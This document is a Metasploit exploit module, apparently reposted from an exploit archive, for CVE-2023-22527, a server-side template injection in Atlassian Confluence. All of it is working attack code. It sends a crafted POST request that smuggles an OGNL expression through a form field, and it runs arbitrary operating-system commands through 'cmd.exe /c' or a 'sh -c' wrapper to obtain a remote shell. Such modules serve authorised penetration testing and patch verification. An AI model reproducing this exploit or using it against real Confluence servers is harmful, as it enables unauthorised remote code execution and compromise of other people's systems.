Atlassian Confluence SSTI Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Atlassian Confluence SSTI Injection',  
'Description' => %q{  
This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses  
the injection to evaluate an OGNL expression resulting in OS command execution.  
Versions 8.5.0 through 8.5.3 and 8.0 to 8.4 are known to be vulnerable.  
},  
'Author' => [  
'Rahul Maini', # ProjectDiscovery analysis  
'Harsh Jaiswal', # ProjectDiscovery analysis  
'Spencer McIntyre'  
],  
'References' => [  
['CVE', '2023-22527'],  
['URL', 'https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html'],  
['URL', 'https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/']  
],  
'DisclosureDate' => '2024-01-16', # Atlassian advisory released  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux', 'win'],  
'Arch' => [ARCH_CMD],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Payload' => { 'Space' => 8191, 'DisableNops' => true }  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8090  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def get_confluence_platform  
# this method gets the platform by exploiting CVE-2023-22527  
return @confluence_platform if @confluence_platform  
  
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"  
ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')  
@org.apache.struts2.ServletActionContext@getResponse().setHeader(  
'#{header}',  
(@java.lang.System@getProperty('os.name'))  
)  
OGNL  
res = inject_ognl(ognl)  
return nil unless res  
  
res.headers[header]  
end  
  
def check  
confluence_version = get_confluence_version  
return CheckCode::Unknown('Failed to determine the Confluence version.') unless confluence_version  
  
vprint_status("Detected Confluence version: #{confluence_version}")  
if confluence_version > Rex::Version.new('8.5.3')  
return CheckCode::Safe("Version #{confluence_version} is not affected.")  
end  
  
confluence_platform = get_confluence_platform  
unless confluence_platform  
return CheckCode::Safe('Failed to test OGNL injection.')  
end  
  
vprint_status("Detected target platform: #{confluence_platform}")  
CheckCode::Vulnerable('Successfully tested OGNL injection.')  
end  
  
def exploit  
confluence_platform = get_confluence_platform  
unless confluence_platform  
fail_with(Failure::NotVulnerable, 'The target is not vulnerable.')  
end  
  
unless confluence_platform.downcase.start_with?('win') == (target['Platform'] == 'win')  
fail_with(Failure::NoTarget, "The target platform '#{confluence_platform}' is incompatible with '#{target.name}'")  
end  
  
print_status("Executing #{payload_instance.refname} (#{target.name})")  
execute_command(payload.encoded)  
end  
  
def execute_command(cmd, _opts = {})  
param = rand_text_alphanumeric(6..10)  
# reference a parameter in the OGNL to work around the 200 character length limit  
ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')  
(new freemarker.template.utility.Execute()).exec(  
{@org.apache.struts2.ServletActionContext@getRequest().getParameter('#{param}')}  
)  
OGNL  
  
if target['Platform'] == 'win'  
vars_post = { param => "cmd.exe /c \"#{cmd}\"" }  
else  
# the command is executed via Runtime.exec, so sh -c "#{cmd}" will not work with all payloads  
# see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html?m=1  
vars_post = { param => "sh -c $@|sh . echo #{cmd}" }  
end  
  
inject_ognl(ognl, 'vars_post' => vars_post)  
end  
  
def inject_ognl(ognl, opts = {})  
opts = opts.clone  
param = rand_text_alphanumeric(6..10)  
final_opts = {  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'template/aui/text-inline.vm'),  
'vars_post' => {  
# label and param are both limited to a 200 character length by default  
'label' => "\\u0027+#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.#{param},{})+\\u0027",  
param => ognl  
}.merge(opts.delete('vars_post') || {})  
}.merge(opts)  
  
send_request_cgi(final_opts)  
end  
end  
`